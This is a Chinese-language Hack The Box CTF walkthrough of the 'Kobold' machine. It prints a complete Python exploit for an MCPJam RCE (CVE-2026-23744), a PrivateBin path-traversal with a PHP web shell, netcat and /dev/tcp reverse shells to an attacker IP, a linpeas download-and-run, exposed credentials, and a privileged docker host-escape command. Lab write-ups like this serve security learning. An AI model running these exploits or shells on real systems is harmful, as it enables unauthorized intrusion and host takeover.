Kobold

UserFlag

先用nmap扫一下

1
nmap -A 10.129.21.13

image-20260414004912958

22端口是ssh服务

80端口是web服务端,但无法重定向,需要在/etc/hosts添加

443端口也是web服务端

image-20260414004910719

访问后看到了”coming soon”的按钮,但点击好像没用,又在最底下看到了admin@kobold.htb,不知道有没有用

image-20260414004908168

利用ffuf扫一下

先从网站上下载SecLists:https://github.com/danielmiessler/SecLists,复制到kali中然后解压缩

1
ffuf -w /home/kali/Desktop/Info/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u https://kobold.htb/ -H 'Host: FUZZ.kobold.htb' -mc all -fw 4

image-20260414004902510

在/etc/hosts中写入,访问发现是MCPJam

1
10.129.245.50 mcp.kobold.htb

image-20260414004859049

去搜索有没有相关的漏洞

image-20260414004856302

CVE-2026-23744

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Description : This was written for a CTF but can be used for any authorized vulnerable target
# CVE : CVE-2026-23744
# Author : H1sok444

import time
import requests
import sys

# Change this

attacker_ip = "10.10.17.116"
port = 2333

def reproduce(target):
print("[*] Checking server...")

start_time = time.time()
while time.time() - start_time < 30:
try:
r = requests.get(f"https://{target}", timeout=2, verify=False)
if r.status_code in [200, 302, 403]:
break
except:
time.sleep(1)

print("[+] Server reachable")

exploit_url = f"https://{target}/api/mcp/connect"

reverse_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.116 80 >/tmp/f"

payload = {
"serverConfig": {
"command": "/bin/sh",
"args": ["-c", reverse_shell],
"env": {}
},
"serverId": "rce_test"
}

print("[*] Sending exploit...")
try:
requests.post(exploit_url, json=payload, timeout=5, verify=False)
except:
# very normal if shell connects and breaks HTTP
pass

print("[+] Payload sent, check your listener!")

if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} mcp.kobold.htb")
sys.exit(1)

reproduce(sys.argv[1])

1
python3 CVE-2026-23744.py mcp.kobold.htb

image-20260414004852519

生成交互式shell

1
/usr/bin/script -qc /bin/bash /dev/null

image-20260414004849865

1
a102b567b8443452eceaf869136a5580

RootFlag

现在kali上起一个服务

1
php -S 0:8080

image-20260414004846520

将linpeas上传到靶机

1
2
3
wget http://10.10.17.116:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

image-20260414004843659

又找到了新的端口

1
10.129.245.50 mcp.kobold.htb bin.kobold.htb

image-20260414004840257

是PrivateBin的页面,看到版本号是2.0.2,依旧上网找poc CVE-2025-64714

https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82

1
2
cd /privatebin-data/data
echo '<?php phpinfo();?>' > pwn.php

抓包,添加cookie请求头

1
Cookie: template=../data/pwn 

image-20260414004836175

成功啦

反弹shell

1
echo '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.17.116 2333 >/tmp/f");?>' > pwn4.php

image-20260414004833740

进行了一些信息收集

image-20260414004831301

docker无法逃逸,在./srv/cfg/conf.php目录下可以看到一些有用信息

image-20260414004828490

看到了用户名和密码

1
2
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"

找到之前mcp的3552端口

image-20260414004825679

用刚刚的密码尝试登录,用户名arcane

image-20260414004822093

创造一个镜像

image-20260414004818771

image-20260414004815904

image-20260414004813197

image-20260414004810573

image-20260414004807170

然后就点击创建,这样就成功了

image-20260414004804685

但是一直没有提权成功,就换了另一种方法试一下Kobold HTB Writeup - Security Walay

查看镜像

1
docker images

image-20260414004801137

发现ben不属于docker组,因此在提权为docker时也不需要密码,这里就说明ben的主组被默认允许进入docker,这里就存在docker逃逸了

权限提升为docker

1
newgrp docker

image-20260414004758426

现在自己的kali上监听一个端口

1
nc -lvnp 6666

然后在靶机上执行命令

1
2
docker ps
docker run --rm --privileged -v /:/host-root mysql:latest sh -c "chroot /host-root sh -i >& /dev/tcp/10.10.17.116/6666 0>&1"

image-20260414004755067

image-20260414004752641

1
1f50a6bb1fe441524325bcfb46d840e4

Kobold
https://colourful228.github.io/2026/04/10/Kobold/
作者
Colourful
发布于
2026年4月10日
更新于
2026年4月14日
许可协议